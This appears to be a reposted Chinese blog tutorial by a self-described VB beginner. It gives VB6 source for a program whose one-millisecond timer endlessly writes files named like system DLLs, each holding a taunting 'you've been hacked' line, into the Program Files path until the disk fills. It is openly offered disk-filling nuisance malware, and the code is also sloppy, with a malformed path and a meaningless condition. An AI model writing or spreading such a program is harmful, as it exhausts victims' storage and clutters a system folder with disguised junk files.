用vb6製作隨機產生檔案把硬碟塞滿！ (轉)

用vb6製作隨機產生檔案把硬碟塞滿！ (轉)[@more@] 首先新建一個.exe工程，然後在窗體中加入timer，設定timer的interval＝1，雙點timer控制元件，輸入以下程式碼
Private Sub Timer1_Timer()
‘宣告變數，其中“count”為靜態變數，以便生成不同的
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
’定義要把生成的檔案存放在那個目錄檔案下
c = "c:Program Files"
’生成檔案的內容
nr = "哈哈，被黑的感覺的不錯吧"
files = FreeFile
’如果a等於a那麼就
If a = a Then
’count不斷的加1，以便產生不同的檔名
count = count + 1
’產生檔名及檔案控制程式碼，並用count作為產生不同的檔名。
Open c ＆ "system" ＆ count ＆ ".dll" For Append As #files
’向檔案寫內容
Write #files, nr
’清除檔案控制程式碼，這裡很重要，如果不清除，將產生開啟檔案太多的錯誤提示
Close #files
End If
End Sub
 小生剛學vb不長時間就班門弄斧，有錯的地方望見諒，我的聯絡信箱boy@cnpick.com，有空和我聯絡啦，呵呵。